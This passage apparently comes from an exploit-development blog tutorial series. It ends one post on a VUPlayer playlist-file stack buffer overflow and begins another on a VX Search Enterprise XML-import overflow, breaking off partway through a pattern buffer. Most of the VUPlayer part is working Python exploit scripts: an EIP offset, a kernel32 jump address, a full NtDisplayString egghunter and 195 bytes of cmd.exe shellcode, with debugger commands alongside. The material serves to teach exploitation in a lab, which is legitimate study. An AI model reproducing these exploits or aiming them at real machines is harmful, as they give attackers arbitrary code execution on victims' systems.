5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
buf = crash # Place pattern into buffer
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Run the script, go into the C directory to dig out the payload.pls file. Restart the program in Immunity Debugger (Ctrl-F2), run it (F9) and drag + drop the file.
Looks like we’ve got a pattern buffer in EIP! We should now be able to use Mona to find our EIP offset using the following command:
!mona po 0x68423768
Aha, looks like the offset is 1012 bytes into our buffer. We’ll update our Python script to test out if this is the correct EIP offset by trying to load 0xdeadbeef into EIP:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0xdeadbeef) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
exploit = junk + eip # Use junk padding to get to EIP overwrite
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Run the script and place the payload file onto VUPlayer after restarting + starting it in the debugger:
We have deadbeef! Alright, so far so good. Let’s get onto the next step where we’ll be introduced to the egghunter.
We need to see if we can load an address into EIP now that will start executing the code we place on the stack. Issue the following Mona command to find an ideal address to get stack execution after restarting and starting VUPlayer in Immunity Debugger:
!mona jmp -r esp
Grab the address for the one located in kernel32.dll:
Then update your Python script with it and add some mock interrupt shellcode for testing:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24 # Preface shellcode with NOP sled
shellcode = "\xCC"*35 # Mock shellcode INT instructions
exploit = junk + eip + nops + shellcode # Padding to get to EIP, into NOP sled and shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Run the updated Python script and drop the new payload into VUPlayer:
Great! We hit the mock shellcode. Now we could go ahead and substitute in our real shellcode but, let’s add a little challenge. What if we didn’t have enough space to host more than 32 bytes of code on the stack? Also, what if we didn’t have the ability to jump to other registers? It would appear like we’d be out of luck, how can we execute a larger shellcode payload if there isn’t enough space for it? Well, we’d have to place it somewhere else. Alright, I guess we could host it elsewhere, but then how would we get to it if we can’t jump to it? Sometimes you’ll be faced with situations that have these exact same challenges, where you’ll have limited space to work with and you’ll need to have other ways of locating shellcode that don’t rely on jump techniques.
The answer to these challenges is that we need construct a very small assembly language program (like 32 bytes small), which will be able to search for and execute our shellcode. This code could be programmed to be on the lookout for a unique tag or “egg” and when it finds this tag, then it would know it found the shellcode (shell, eggs, get it? har har). This is the basis for the egghunter, which we’ll implement in the next step.
The egghunter code we’ll be using is based on the NtDisplayString technique. You can read the assembly code for the egghunter in the section below:
6681CAFF0F or dx,0x0fff ; [0x0] loop through pages in memory by adding 4095 or PAGE_SIZE-1 to EDX
42 inc edx ; [0x5] loop through every single address in the memory page
52 push edx ; push EDX value (current address) onto the stack to save for future reference
6A43 push byte +0x43 ; push value 0x43 (syscall ID for NtDisplayString) onto the stack
58 pop eax ; pop value 0x43 into EAX to use as param for syscall
CD2E int 0x2e ; send interrupt to call NtDisplayString kernel function
3C05 cmp al,0x5 ; compare low order byte of EAX (AL) to value 0x5 (5 = access violation)
5A pop edx ; restore EDX from the stack
74EF jz 0x0 ; if the ZF flag was set by CMP instruction, there was an access violation,
; invalid page so we loop back to top [0x0]
B874303077 mov eax,0x77303074 ; this is the tag (77 30 30 74 = w00t)
8BFA mov edi,edx ; set EDI to current address pointer in EDX for use in SCASD instruction
AF scasd ; compares value in EAX to DWORD value addressed in EDI (current address pointer)
; then set EFLAGS register accordingly after SCASD comparison
75EA jnz 0x5 ; if the address is not zero, we did not find the egg and we should jump back to [0x5] where we'll go up by 1
AF scasd ; otherwise, we have a zero flag and we did find the egg. SCASD to compare DWORD in EDI to EAX again (check that second w00t is there)
75E7 jnz 0x5 ; if no second w00t found, we don't have the right egg and we should jump back to [0x5] where we'll go up by 1
FFE7 jmp edi ; otherwise, we have a zero flag and we found the second part of the egg. SCASD means EDI now points to shellcode, jump to it.
Basically, how it works is that it loops through pages of memory and systematically uses data from each address it finds to make a system call to NtDisplayString. It then compares this data value to the unique tag/egg we give it (e.g. “w00tw00t”). If it finds that the data matches the tag, then it jumps to that address and begins executing shellcode. The egg is successfully hunted! This is why it is categorized as “staged shellcode”, since it works by breaking the shellcode exection into an initial stage where we search for the shellcode and a final stage where we begin execution.
Let’s see how this works in our updated Python script:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24 # Preface shellcode with NOP sled
# NtDisplayString Egghunter
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "w00t" # Our tag is going to be "w00t"
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode
shellcode = "\xCC"*300 # Mock shellcode with INT instructions
# Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode
exploit = junk + eip + egghunter + egg + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Go ahead and run the script to generate our newest payload file. Drag and drop it into VUPlayer with the debugger attached and BAM! Looks like we hit our mock interrupt shellcode!
You can even see the egg in the code yourself by taking a look at the stack, w00t!
You can also find it by issuing the following Mona command:
!mona find -s "w00tw00t"
If you’d like to dig deeper and actually see, step-by-step, the egghunter code doing its job then modify the Python script to include a “pause_code” variable that will allow you to pause execution right before the egghunter code starts working:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24
# Pause code execution and let us step through the egghunter code using F7 (Step into)
# Execution will be interrupted and then the user can step through a few NOPs
# before getting to the egghunter code
pause_code = "\xCC\x90\x90\x90"
# NtDisplayString Egghunter
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "w00t" # Our tag is going to be "w00t"
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode
shellcode = "\xCC"*300 # Mock shellcode with INT instructions
# Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode
# Add pause code so we can step through the egghunter code
exploit = junk + eip + pause_code + egghunter + egg + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
When you run this script and drag/drop the payload into VUPlayer while the debugger is attached, execution will pause just before the egghunter code, then after stepping through a few NOPs (F7 or Debug –> Step into) you’ll land in the egghunter code and you can see exactly what it’s doing:
You’ll notice that the registers in the “Registers” panel will change and update in response to the egghunter code. Eventually it’ll go into its search loop, so feel free to hit the F9 button to Run the program and see the egghunter conclude. After your curiosity has been satisfied, we won’t be needing the pause_code variable anymore so we’ll remove it in future scripts.
Now, let’s see what happens if we move the shellcode by an arbitrary amount, we’ll place the variable “badcode” in between the egghunter and the shellcode then see if it still works:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24
# NtDisplayString Egghunter
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "w00t" # Our tag is going to be "w00t"
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode
badcode = "\x42"*248 # Demonstrate that exploit will still work even if shellcode moves around
shellcode = "\xCC"*300 # Mock shellcode with INT instructions
# Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode
# Add badcode section to show that egghunter will still find the shellcode if it moves
exploit = junk + eip + egghunter + badcode + egg + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Run the script and you’ll see that it still works! That’s the beauty of the egghunter, no matter where our shellcode is, the egghunter should be able to find and execute it.
Now let’s add in some real shellcode and see if we can get a command prompt cmd.exe to pop:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24
# NtDisplayString Egghunter
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "w00t" # Our tag is going to be "w00t"
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode
badcode = "\x42"*248 # Demonstrate that exploit will still work even if shellcode moves around
# Command prompt (cmd.exe) shellcode + process exit (195 bytes)
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
shellcode += "\x24\x20\x57\xFF\xD0"
# Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode
# Add badcode section to show that egghunter will still find the shellcode if it moves
exploit = junk + eip + egghunter + badcode + egg + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
Do the usual dance, run the script, drag and drop the payload file into VUPlayer with debugger attached and…
Hooray! We did it! We successfully made do with limited space and an unpredictable shellcode location. I hope this technique will serve as a good reminder that even when the odds seem against you, there exists ways of coming out ahead and obtaining arbitrary code execution.
For a little shortcut method, you can issue the following Mona command to generate egghunter code for you, complete with tag:
!mona egg
Then, just copy and paste it into your script:
import struct
BUF_SIZE = 2000 # Set a consistent total buffer size
junk = "\x41"*1012 # 1012 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address 0x7c836a78 # call esp # kernel32.dll
nops = "\x90"*24
# NtDisplayString Egghunter
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "w00tw00t" # Tag x 2 will be our egg, egghunter code will search for this to find shellcode
# Command prompt (cmd.exe) shellcode + process exit (195 bytes)
shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
shellcode += "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
shellcode += "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
shellcode += "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
shellcode += "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
shellcode += "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
shellcode += "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
shellcode += "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
shellcode += "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
shellcode += "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
shellcode += "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
shellcode += "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
shellcode += "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
shellcode += "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
shellcode += "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
shellcode += "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
shellcode += "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
shellcode += "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
shellcode += "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
shellcode += "\x24\x20\x57\xFF\xD0"
# Place the egghunter after EIP overwrite so we can execute it and search for the egg + shellcode
exploit = junk + eip + egghunter + egg + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to use (C)
buf = exploit + fill # Combine everything together for exploitation
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
And blam! You’ve got an egghunter ready to go! I know I could have just told you about this command earlier, but it’s important to do things the good old fashioned way first before turning to automation. You’ll learn a lot more and be less reliant on the tools of others. Or else, you risk turning into a… dare I say it… script kiddie? :0
So what did we learn?
That’s all pretty neat stuff! Although, this method has some limitations. For example:
Nevertheless, it’s still a very interesting way of working with limited resources!
That’s it for this post. I’m always looking to improve my writing and explanations, so if you found anything to be unclear or you have some recommendations then send me a message on Twitter/follow (@shogun_lab) or send an email to steven@shogunlab.com. RSS feed can be found here. If you want to dive even deeper into the egghunter hole, then keep reading to the end where I’ll leave you some excellent resources. There even more egghunter techniques to be learned.
Happy hacking everyone and see you next week for Part 4!
お疲れ様でした。
UPDATE: Part 4 is posted here.
Tutorials
Research
]]>Hello! Welcome to Part 2, today we’ll be looking at a stack buffer over flow that uses a short jump to overcome interrupted shellcode on the stack. If you missed Part 1, it can be found here. The vulnerable program we’re going to be attacking is a file search solution called VX Search Enterprise version 9.7.18 (download it here). Much of the details for this exploit were obtained from the Exploit-DB page. Once installed, you’ll see the following executables on your Windows XP virtual machine in the /bin folder:
The executable that you will be opening for exploitation is “vxsrchc.exe”, the only one with an icon. VX Search Enterprise is vulnerable to a stack buffer overflow via a specially crafted XML file opened with the “Import command…” in the “Command” dropdown menu. The overflow occurs in the “name” attribute in the “classify” tag.
To crash the program, you’ll need to generate a large ASCII text buffer of 2000 bytes to cause an overflow on the stack. Go ahead and issue a Python command to generate a large string of A’s and copy + paste the contents into the “name” attribute in the crafted XML file named payload.xml below:
python -c “print ‘A’*2000”
<?xml version="1.0" encoding="UTF-8"?>
<classify
name='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'/>
</classify>
Save the XML file to the Desktop and go to the “Import command…” button, choose your XML file and BAM! We get a crash!
Cool, now that we have found a potential vulnerability we can start trying to craft an exploit. Let’s begin the exploit development process!
As before in Part 1, we want to start by confirming that EIP is getting overwritten and then proceed to the next step where we find the offset. Open Immunity Debugger and start debugging vsrchc.exe by opening it in the “File” menu.
Press F9 or Debug → Run in the menu. With the program now running, open the XML file through the “Import command…” in the menu like before and check if you got 0x41414141 in EIP.
Also, note that if you try to open the payload.xml file from somewhere other than the Desktop, you may run into an exception in the program that you’ll need to press Shift-F7 to pass through in the debugger. This is a little annoying so I’ll proceed with the rest of the tutorial by dragging and dropping payload.xml to the Desktop. If you’d like, feel free to modify things to be more comfortable for you.
Great! Looks like we’ve got ourselves a pretty straightforward EIP overwrite. Let’s generate a pattern and identify the offset we need to have to put our own address into EIP in our next step.
Use the Mona command below to generate a pattern buffer for our XML payload file:
!mona pc 2000
This is the shorter version of “pattern_create”, copy + paste the ASCII pattern into the XML file where our A’s buffer was. Restart the program (Ctrl-F2) and run it again (F9) to open up the XML file with the pattern.
<?xml version="1.0" encoding="UTF-8"?>
<classify
name='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0